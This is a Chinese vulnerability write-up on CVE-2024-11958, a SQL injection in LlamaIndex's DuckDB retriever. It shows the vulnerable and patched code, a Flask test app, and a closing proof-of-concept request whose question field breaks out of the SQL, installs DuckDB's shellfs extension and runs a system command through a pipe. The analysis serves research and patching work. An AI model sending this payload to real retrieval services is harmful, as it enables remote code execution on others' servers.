文章总结: LlamaIndex的duckdb_retriever组件存在SQL注入漏洞CVE-2024-11958,因直接拼接SQL查询导致。攻击者可利用该漏洞配合DuckDB的shellfs扩展,通过管道符执行任意系统命令,实现远程代码执行。建议及时更新修复并使用参数化查询。 综合评分: 90 文章分类: 漏洞分析,AI安全,漏洞POC,WEB安全
【漏洞分析】LlamaIndex SQL2RCE漏洞分析(CVE-2024-11958)
原创
whoami0002
SecurityPaper
2026年1月12日 17:38 江苏
文章首发于先知社区:https://xz.aliyun.com/news/91091
前言
LlamaIndex 是领先的框架,可用于使用LLM和工作流在您的数据上构建 LLM 驱动的代理。
漏洞概述
run-llama/llama_index 仓库中的 duckdb_retriever 组件存在 SQL 注入漏洞。该漏洞源于未使用预处理语句构建 SQL 查询,攻击者可利用此漏洞注入任意 SQL 代码。通过安装 shellfs 扩展并执行恶意命令,攻击者可以实现远程代码执行 (RCE)。
漏洞分析/复现
补丁分析
https://github.com/run-llama/llama_index/commit/35bd221e948e40458052d30c6ef2779bc965b6d0
查看补丁,核心文件
llama-index-integrations/retrievers/llama-index-retrievers-duckdb-retriever/llama_index/retrievers/duckdb_retriever/base.py
漏洞代码query_result = conn.execute(sql).fetchall() 直接执行拼接的SQL
def_retrieve(self, query_bundle: QueryBundle) ->List[NodeWithScore]:
query=query_bundle.query_str
sql=f"""
SELECT
fts_main_{self._table_name}.match_bm25({self._node_id_column}, '{query}') ASscore,
{self._node_id_column}, {self._text_column}
FROM {self._table_name}
WHEREscoreISNOTNULL
ORDERBYscoreDESC
LIMIT {self._similarity_top_k};
"""
withDuckDBLocalContext(self._database_path) asconn:
query_result=conn.execute(sql).fetchall()
修复后的代码,使用?占位符,query_result = conn.execute(sql, [query]).fetchall() 作为参数进行传递
def_retrieve(self, query_bundle: QueryBundle) ->List[NodeWithScore]:
query=query_bundle.query_str
sql=f"""
SELECT
fts_main_{self._table_name}.match_bm25({self._node_id_column}, ?) ASscore,
{self._node_id_column}, {self._text_column}
FROM {self._table_name}
WHEREscoreISNOTNULL
ORDERBYscoreDESC
LIMIT {self._similarity_top_k};
"""
withDuckDBLocalContext(self._database_path) asconn:
query_result=conn.execute(sql, [query]).fetchall()
环境搭建
安装相关依赖 pip install -r requirements.txt
duckdb>=0.9.0
llama-index-core>=0.10.0
llama-index-retrievers-duckdb-retriever<0.4.0
flask>=2.0.0
构建测试环境
web服务器
importos
fromflaskimportFlask, request, jsonify, render_template
importduckdb
fromllama_index.retrievers.duckdb_retrieverimportDuckDBRetriever
app=Flask(__name__)
os.makedirs("./storage", exist_ok=True)
persist_dir=os.path.abspath("./storage")
database_name="testduck"
db_file=os.path.join(persist_dir, database_name)
ifos.path.exists(db_file):
os.remove(db_file)
conn=duckdb.connect(db_file)
try:
conn.execute(
"CREATE TABLE documents (node_id VARCHAR, text VARCHAR, author VARCHAR, doc_version INTEGER);"
)
conn.execute(
"INSERT INTO documents VALUES ('doc1', 'The cat is pretty.', 'Alice', 3);"
)
conn.execute("INSERT INTO documents VALUES ('doc2', 'The dog is cute.', 'Bob', 2);")
finally:
conn.close()
importtime
time.sleep(0.1)
verify_conn=duckdb.connect(db_file)
try:
result=verify_conn.execute("SELECT COUNT(*) FROM documents").fetchone()
tables=verify_conn.execute("SHOW TABLES").fetchall()
finally:
verify_conn.close()
globalretriever
retriever=DuckDBRetriever(
database_name=database_name,
persist_dir=persist_dir,
table_name="documents"
)
@app.route('/')
defhome():
returnrender_template('index.html')
@app.route('/ask', methods=['POST'])
defask():
globalretriever
data=request.get_json()
question=data.get('question')
ifnotquestion:
returnjsonify({'error': '缺少question参数'}), 400
try:
response=retriever.retrieve(question)
res= []
forrinresponse:
res.append(r.get_content())
returnjsonify({'answer': res})
exceptExceptionase:
print(f"[错误] {e}")
returnjsonify({'error': str(e)}), 500
if__name__=='__main__':
app.run(port=7000)
<!DOCTYPE html>
<htmllang="zh-CN">
<head>
<metacharset="UTF-8">
<metaname="viewport"content="width=device-width, initial-scale=1.0">
<metaname="description"content="智能问答系统 - 基于文档检索的问答服务">
<metaname="robots"content="noindex, nofollow">
<title>智能问答系统</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Helvetica Neue', Arial, sans-serif;
background: linear-gradient(135deg, #667eea0%, #764ba2100%);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}
.container {
background: white;
border-radius: 16px;
box-shadow: 020px60pxrgba(0, 0, 0, 0.3);
width: 100%;
max-width: 800px;
padding: 40px;
animation: fadeIn0.3sease-in;
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(-20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.header {
text-align: center;
margin-bottom: 30px;
}
.header h1 {
color: #333;
font-size: 28px;
font-weight: 600;
margin-bottom: 8px;
}
.header p {
color: #666;
font-size: 14px;
}
.form-group {
margin-bottom: 20px;
}
.input-wrapper {
position: relative;
}
#question {
width: 100%;
padding: 16px20px;
font-size: 16px;
border: 2pxsolid#e0e0e0;
border-radius: 12px;
outline: none;
transition: all0.3sease;
background: #f8f9fa;
}
#question:focus {
border-color: #667eea;
background: white;
box-shadow: 0004pxrgba(102, 126, 234, 0.1);
}
#question:disabled {
background: #f0f0f0;
cursor: not-allowed;
}
.submit-btn {
width: 100%;
padding: 16px;
font-size: 16px;
font-weight: 600;
color: white;
background: linear-gradient(135deg, #667eea0%, #764ba2100%);
border: none;
border-radius: 12px;
cursor: pointer;
transition: all0.3sease;
position: relative;
overflow: hidden;
}
.submit-btn:hover:not(:disabled) {
transform: translateY(-2px);
box-shadow: 010px25pxrgba(102, 126, 234, 0.4);
}
.submit-btn:active:not(:disabled) {
transform: translateY(0);
}
.submit-btn:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.submit-btn .spinner {
display: none;
width: 16px;
height: 16px;
border: 2pxsolidrgba(255, 255, 255, 0.3);
border-top-color: white;
border-radius: 50%;
animation: spin0.8slinearinfinite;
margin-right: 8px;
}
.submit-btn.loading .spinner {
display: inline-block;
}
.submit-btn.loading .btn-text {
opacity: 0.7;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.result-container {
margin-top: 30px;
min-height: 100px;
}
.result-item {
background: #f8f9fa;
border-left: 4pxsolid#667eea;
padding: 16px20px;
margin-bottom: 12px;
border-radius: 8px;
animation: slideIn0.3sease-out;
}
@keyframes slideIn {
from {
opacity: 0;
transform: translateX(-20px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
.result-item-header {
display: flex;
align-items: center;
margin-bottom: 8px;
}
.result-item-header .icon {
width: 20px;
height: 20px;
margin-right: 8px;
color: #667eea;
}
.result-item-header .index {
font-weight: 600;
color: #667eea;
margin-right: 8px;
}
.result-content {
color: #333;
line-height: 1.6;
word-wrap: break-word;
}
.error-message {
background: #fee;
border-left: 4pxsolid#f44336;
color: #c62828;
padding: 16px20px;
border-radius: 8px;
margin-top: 20px;
}
.error-message .error-title {
font-weight: 600;
margin-bottom: 4px;
}
.empty-state {
text-align: center;
padding: 40px20px;
color: #999;
}
.empty-state .icon {
font-size: 48px;
margin-bottom: 16px;
opacity: 0.5;
}
.loading-dots {
display: inline-block;
}
.loading-dots span {
display: inline-block;
width: 8px;
height: 8px;
border-radius: 50%;
background: #667eea;
margin: 02px;
animation: bounce1.4sinfiniteease-in-outboth;
}
.loading-dots span:nth-child(1) { animation-delay: -0.32s; }
.loading-dots span:nth-child(2) { animation-delay: -0.16s; }
@keyframes bounce {
0%, 80%, 100% {
transform: scale(0);
}
40% {
transform: scale(1);
}
}
@media (max-width: 600px) {
.container {
padding: 24px;
}
.headerh1 {
font-size: 24px;
}
}
</style>
</head>
<body>
<divclass="container">
<divclass="header">
<h1>智能问答系统</h1>
<p>基于文档检索的智能问答服务</p>
</div>
<formid="questionForm"novalidate>
<divclass="form-group">
<divclass="input-wrapper">
<input
type="text"
id="question"
placeholder="请输入您的问题..."
required
autocomplete="off"
autofocus
>
</div>
</div>
<buttontype="submit"class="submit-btn"id="submitBtn">
<spanclass="spinner"></span>
<spanclass="btn-text">提交查询</span>
</button>
</form>
<divclass="result-container"id="resultContainer">
<divclass="empty-state"id="emptyState">
<divclass="icon">💬</div>
<p>请输入您的问题,系统将为您检索相关文档</p>
</div>
</div>
</div>
<script>
(function() {
'use strict';
constform=document.getElementById('questionForm');
constquestion=document.getElementById('question');
constsubmitBtn=document.getElementById('submitBtn');
constresultContainer=document.getElementById('resultContainer');
constemptyState=document.getElementById('emptyState');
letisSubmitting=false;
form.addEventListener('submit', asyncfunction(event) {
event.preventDefault();
if (isSubmitting) {
return;
}
constquery=question.value.trim();
if (!query) {
showError('请输入您的问题');
return;
}
startQuery();
try {
constresponse=awaitfetch('/ask', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ question: query })
});
constdata=awaitresponse.json();
if (!response.ok) {
thrownewError(data.error||'查询失败');
}
displayResults(data.answer|| []);
} catch (error) {
showError(error.message||'查询失败,请稍后重试');
} finally {
endQuery();
}
});
functionstartQuery() {
isSubmitting=true;
submitBtn.disabled=true;
submitBtn.classList.add('loading');
question.disabled=true;
emptyState.style.display='none';
clearResults();
showLoading();
}
functionendQuery() {
isSubmitting=false;
submitBtn.disabled=false;
submitBtn.classList.remove('loading');
question.disabled=false;
}
functionshowLoading() {
resultContainer.innerHTML=`
<div class="result-item">
<div class="result-content">
<span class="loading-dots">
<span></span>
<span></span>
<span></span>
</span>
正在检索相关文档...
</div>
</div>
`;
}
functiondisplayResults(answers) {
clearResults();
if (!answers||answers.length===0) {
resultContainer.innerHTML=`
<div class="empty-state">
<div class="icon">🔍</div>
<p>未找到相关文档,请尝试其他问题</p>
</div>
`;
return;
}
answers.forEach((answer, index) => {
constitem=document.createElement('div');
item.className='result-item';
item.innerHTML=`
<div class="result-item-header">
<span class="index">#${index+1}</span>
<svg class="icon" viewBox="0 0 24 24" fill="none" stroke="currentColor">
<path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z" stroke-width="2"/>
</svg>
</div>
<div class="result-content">${escapeHtml(answer)}</div>
`;
resultContainer.appendChild(item);
});
}
functionshowError(message) {
clearResults();
consterrorDiv=document.createElement('div');
errorDiv.className='error-message';
errorDiv.innerHTML=`
<div class="error-title">⚠️ 错误</div>
<div>${escapeHtml(message)}</div>
`;
resultContainer.appendChild(errorDiv);
}
functionclearResults() {
resultContainer.innerHTML='';
}
functionescapeHtml(text) {
constdiv=document.createElement('div');
div.textContent=text;
returndiv.innerHTML;
}
})();
</script>
</body>
</html>
启用web.py
shellfs扩展
什么是shellfs?
<font style="color:rgb(221, 17, 68);background-color:rgba(27, 31, 35, 0.05);">shellfs</font>扩展为 DuckDB 提供了使用 Unix 管道进行输入和输出的能力。
通过在文件名后附加管道字符 <font style="color:rgb(221, 17, 68);background-color:rgba(27, 31, 35, 0.05);">|</font>,DuckDB 会将其视为一系列要执行的命令,并捕获输出。相反,如果你在文件名前加上 <font style="color:rgb(221, 17, 68);background-color:rgba(27, 31, 35, 0.05);">|</font>,DuckDB 会将其视为输出管道。
漏洞复现
于是可以构建如下POC
POST/askHTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 165
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/143.0.0.0Safari/537.36
Accept: */*
Origin: http://127.0.0.1:7001
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:7001/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"question":"test') as score, node_id, text from documents; install shellfs from community; load shellfs; select * from read_csv('calc.exe 123|'); select concat('0"}
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2024-11958
https://duckdb.org/community_extensions/extensions/shellfs
https://github.com/run-llama/llama_index
https://www.modb.pro/db/1814130920039919616
免责声明
本漏洞分析报告仅用于安全研究和防御目的。请勿将此信息用于任何非法活动。未授权测试他人系统属于违法行为,后果由使用者承担。
扫描二维码加入知识星球获取更多内容:
【已复现】jsPDF 本地文件包含/路径遍历 (CVE-2025-68428)
【已复现】MongoDB 未授权内存泄露漏洞(CVE-2025-14847)
【已复现】CVE-2025-68613 n8n 表达式注入导致远程代码执行(RCE CVSS 10.0)
已复现 帆软export/excel SQL注入漏洞
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SecurityPaper whoami0002《【漏洞分析】LlamaIndex SQL2RCE漏洞分析(CVE-2024-11958)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论